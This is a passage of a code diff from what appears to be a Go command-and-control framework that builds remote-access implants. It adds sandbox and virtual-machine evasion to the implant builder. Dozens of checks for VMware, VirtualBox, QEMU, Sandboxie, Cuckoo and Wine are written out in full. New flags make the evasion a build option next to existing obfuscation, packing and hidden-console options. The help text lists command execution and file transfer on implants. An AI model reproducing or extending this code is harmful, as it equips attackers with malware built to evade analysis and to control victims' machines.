strings.Contains(strings.ToLower(v), "vmware") ||
strings.Contains(strings.ToLower(v), "qemu") {
return true
}
}
return false
}
func bootLogoCheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation`,
registry.QUERY_VALUE)
if err != nil {
return false
}
defer k.Close()
logo, _, err := k.GetStringValue("Logo")
if err != nil {
return false
}
lower := strings.ToLower(logo)
return strings.Contains(lower, "vbox") || strings.Contains(lower, "vmware")
}
func kernelObjectsCheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}`,
registry.ENUMERATE_SUB_KEYS)
if err != nil {
return false
}
defer k.Close()
subs, _ := k.ReadSubKeyNames(0)
for _, sub := range subs {
subKey, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\`+sub,
registry.QUERY_VALUE)
if err != nil {
continue
}
desc, _, err := subKey.GetStringValue("DriverDesc")
subKey.Close()
if err != nil {
continue
}
lower := strings.ToLower(desc)
if strings.Contains(lower, "vmware") || strings.Contains(lower, "vbox") ||
strings.Contains(lower, "virtual") || strings.Contains(lower, "qemu") {
return true
}
}
return false
}
func nvramCheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`HARDWARE\RESOURCEMAP`, registry.ENUMERATE_SUB_KEYS)
if err != nil {
return false
}
defer k.Close()
subs, _ := k.ReadSubKeyNames(0)
for _, sub := range subs {
if strings.Contains(strings.ToLower(sub), "vbox") ||
strings.Contains(strings.ToLower(sub), "vmware") {
return true
}
}
return false
}
func edidCheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Enum\DISPLAY`, registry.ENUMERATE_SUB_KEYS)
if err != nil {
return false
}
defer k.Close()
subs, _ := k.ReadSubKeyNames(0)
for _, sub := range subs {
lower := strings.ToLower(sub)
if strings.Contains(lower, "vmware") || strings.Contains(lower, "vbox") ||
strings.Contains(lower, "qemu") {
return true
}
}
return false
}
func clockTiming() bool {
ntdll := syscall.NewLazyDLL("ntdll.dll")
ntQuery := ntdll.NewProc("NtQuerySystemInformation")
if ntQuery.Find() != nil {
return false
}
// SystemTimeAdjustmentInformation = 0x94
var buf [32]byte
ret, _, _ := ntQuery.Call(0x94, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)), 0)
return ret == 0
}
// --- 95% ---
func devicesPCICheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Enum\PCI`, registry.ENUMERATE_SUB_KEYS)
if err != nil {
return false
}
defer k.Close()
subs, _ := k.ReadSubKeyNames(0)
vmVendors := []string{"15ad", "80ee", "1af4"}
for _, sub := range subs {
parts := strings.SplitN(sub, "\\", 2)
if len(parts) > 0 {
vendor := strings.ToLower(parts[0])
for _, v := range vmVendors {
if strings.HasPrefix(vendor, v) {
return true
}
}
}
}
return false
}
// --- 90% ---
func virtualRegistryCheck() bool {
k, err := registry.OpenKey(registry.CURRENT_USER,
`Software\Sandboxie`, registry.QUERY_VALUE)
if err == nil {
k.Close()
return true
}
k2, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Services\Sandboxie`, registry.QUERY_VALUE)
if err == nil {
k2.Close()
return true
}
return false
}
func cpuHeuristicCheck() bool {
kernel32 := syscall.NewLazyDLL("kernel32.dll")
isIntel := kernel32.NewProc("IsProcessorFeaturePresent")
if isIntel.Find() != nil {
return false
}
// PF_XMMI64_INSTRUCTIONS_AVAILABLE = 10
// Check if SSE2 is properly reported
ret, _, _ := isIntel.Call(10)
return ret == 0
}
// --- 75% ---
func vpcInvalidCheck() bool {
// Virtual PC check (32-bit only via CPUID)
ntdll := syscall.NewLazyDLL("ntdll.dll")
vpc := ntdll.NewProc("VpcGuest")
return vpc.Find() == nil
}
// --- 45% ---
func clockCheck() bool {
kernel32 := syscall.NewLazyDLL("kernel32.dll")
getTickCount := kernel32.NewProc("GetTickCount64")
t1, _, _ := getTickCount.Call()
t2, _, _ := getTickCount.Call()
// If time doesn't advance normally, could be VM
return t2-t1 > 100
}
// --- 30% ---
func cuckooDirCheck() bool {
paths := []string{
"C:\\Cuckoo", "C:\\analysis", "C:\\Analyzer",
os.Getenv("TEMP") + "\\cuckoa",
}
for _, p := range paths {
if _, err := os.Stat(p); err == nil {
return true
}
}
return false
}
func cuckooPipeCheck() bool {
// Check for Cuckoo pipe names
pipes := []string{`\\.\pipe\cuckoo`, `\\.\pipe\analyzer`}
for _, p := range pipes {
if _, err := os.Stat(p); err == nil {
return true
}
}
return false
}
// --- 25% ---
func displayCheck() bool {
user32 := syscall.NewLazyDLL("user32.dll")
getSystemMetrics := user32.NewProc("GetSystemMetrics")
horz, _, _ := getSystemMetrics.Call(0)
vert, _, _ := getSystemMetrics.Call(1)
return (horz < 800 && vert < 600) || horz == 0
}
func audioDevices() bool {
winmm := syscall.NewLazyDLL("winmm.dll")
out, _, _ := winmm.NewProc("waveOutGetNumDevs").Call()
in, _, _ := winmm.NewProc("waveInGetNumDevs").Call()
return out == 0 && in == 0
}
func gpuCapabilities() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000`,
registry.QUERY_VALUE)
if err != nil {
return false
}
defer k.Close()
desc, _, err := k.GetStringValue("DriverDesc")
if err != nil {
return false
}
lower := strings.ToLower(desc)
for _, s := range []string{"virtual", "vmware", "vbox", "qemu", "hyper-v"} {
if strings.Contains(lower, s) {
return true
}
}
return false
}
func deviceStringCheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SYSTEM\CurrentControlSet\Services\Disk\Enum`, registry.QUERY_VALUE)
if err != nil {
return false
}
defer k.Close()
vals, _ := k.ReadValueNames(0)
for _, v := range vals {
val, _, err := k.GetStringValue(v)
if err != nil {
continue
}
lower := strings.ToLower(val)
if strings.Contains(lower, "vbox") || strings.Contains(lower, "qemu") ||
strings.Contains(lower, "vmware") {
return true
}
}
return false
}
func powerCapabilitiesCheck() bool {
powrprof := syscall.NewLazyDLL("powrprof.dll")
callNtPowerInfo := powrprof.NewProc("CallNtPowerInformation")
if callNtPowerInfo.Find() != nil {
return false
}
// SystemPowerInformation = 12
var buf [32]byte
ret, _, _ := callNtPowerInfo.Call(12, 0, 0, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
return ret == 0
}
// --- 10% ---
func gamarueCheck() bool {
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
`SOFTWARE\Microsoft\Windows NT\CurrentVersion`, registry.QUERY_VALUE)
if err != nil {
return false
}
defer k.Close()
productID, _, err := k.GetStringValue("ProductId")
if err != nil {
return false
}
// Gamarue VM detection: checks for specific product ID patterns
return strings.HasPrefix(productID, "00330-") || strings.HasPrefix(productID, "00331-")
}
// --- 100% ---
func wineDetection() bool {
ntdll, err := syscall.LoadLibrary("ntdll.dll")
if err != nil {
return false
}
defer syscall.FreeLibrary(ntdll)
_, err = syscall.GetProcAddress(ntdll, "wine_get_unix_file_name")
return err == nil
}
+2
View File
@@ -28,6 +28,8 @@ func main() {
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
core.DetectVM()
cfg := core.DefaultAgentConfig()
if *peerAddr != "" {
cfg.OperatorAddr = *peerAddr
+1 -1
View File
@@ -24,7 +24,7 @@ var commandHelp = map[string]string{
"exec": "exec <command> [args...] — execute command on selected implant",
"download": "download <remote-path> — download file from implant",
"upload": "upload <local-path> <remote-path> — upload file to implant",
"generate": "generate [flags] — build an implant (all flags optional)\n --os <string> target OS: linux, darwin, windows (default: linux)\n --arch <string> target arch: amd64, arm64 (default: amd64)\n --output <path> output path (default: ./implant)\n --pubkey <path> operator public key (default: ~/.arachne/operator.pub)\n --upx enable UPX compression (default: true)\n --obfuscate obfuscate the binary with garble (auto-installs if missing)\n --quiet suppress output, detach from terminal, hide console on Windows",
"generate": "generate [flags] — build an implant (all flags optional)\n --os <string> target OS: linux, darwin, windows (default: linux)\n --arch <string> target arch: amd64, arm64 (default: amd64)\n --output <path> output path (default: ./implant)\n --pubkey <path> operator public key (default: ~/.arachne/operator.pub)\n --upx enable UPX compression (default: true)\n --obfuscate obfuscate the binary with garble (auto-installs if missing)\n --quiet suppress output, detach from terminal, hide console on Windows\n --antivm enable VM detection (pure Go, 65+ techniques, VMAware scoring)",
"regenerate": "regenerate — regenerate operator keypair (old implants will not call back)",
"help": "help [command] — show this help or help for a specific command",
"exit": "exit — quit the console",
+15 -7
View File
@@ -30,6 +30,7 @@ type GenerateConfig struct {
UseUPX bool
Obfuscate bool
Quiet bool
Antivm bool
}
func RunGenerate(args []string) error {
@@ -48,6 +49,7 @@ func RunGenerate(args []string) error {
fs.BoolVar(&cfg.UseUPX, "upx", true, "compress with UPX")
fs.BoolVar(&cfg.Obfuscate, "obfuscate", false, "obfuscate the implant with garble (auto-installs if missing)")
fs.BoolVar(&cfg.Quiet, "quiet", false, "suppress output and run in background (no console on Windows)")
fs.BoolVar(&cfg.Antivm, "antivm", false, "enable VM detection (pure Go, no CGO required — 65+ techniques, VMAware-compatible scoring)")
fs.Parse(args)
return BuildImplant(cfg)
@@ -102,25 +104,31 @@ func BuildImplant(cfg GenerateConfig) error {
return fmt.Errorf("garble not available: %w", err)
}
builder = garble
buildArgs = []string{"-literals", "-tiny", "build", "-trimpath", "-buildvcs=false", "-o", outPath, "-ldflags=" + ldflags, "./implant/"}
buildArgs = []string{"-literals", "-tiny", "build", "-trimpath", "-buildvcs=false", "-o", outPath, "-ldflags=" + ldflags}
log.Printf("obfuscating with garble")
} else {
builder = goBin
buildArgs = []string{"build", "-trimpath", "-buildvcs=false", "-o", outPath, "-ldflags=" + ldflags, "./implant/"}
buildArgs = []string{"build", "-trimpath", "-buildvcs=false", "-o", outPath, "-ldflags=" + ldflags}
}
if cfg.Antivm {
buildArgs = append(buildArgs, "-tags=antivm")
}
buildArgs = append(buildArgs, "./implant/")
cmd := exec.Command(builder, buildArgs...)
path := os.Getenv("PATH")
goDir := filepath.Dir(goBin)
if !strings.Contains(path, goDir) {
path = goDir + ":" + path
}
cmd.Env = append(os.Environ(),
"GOOS="+cfg.TargetOS,
"GOARCH="+cfg.TargetArch,
env := []string{
"GOOS=" + cfg.TargetOS,
"GOARCH=" + cfg.TargetArch,
"CGO_ENABLED=0",
"PATH="+path,
)
"PATH=" + path,
}
cmd.Env = append(os.Environ(), env...)
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
cmd.Dir = buildDir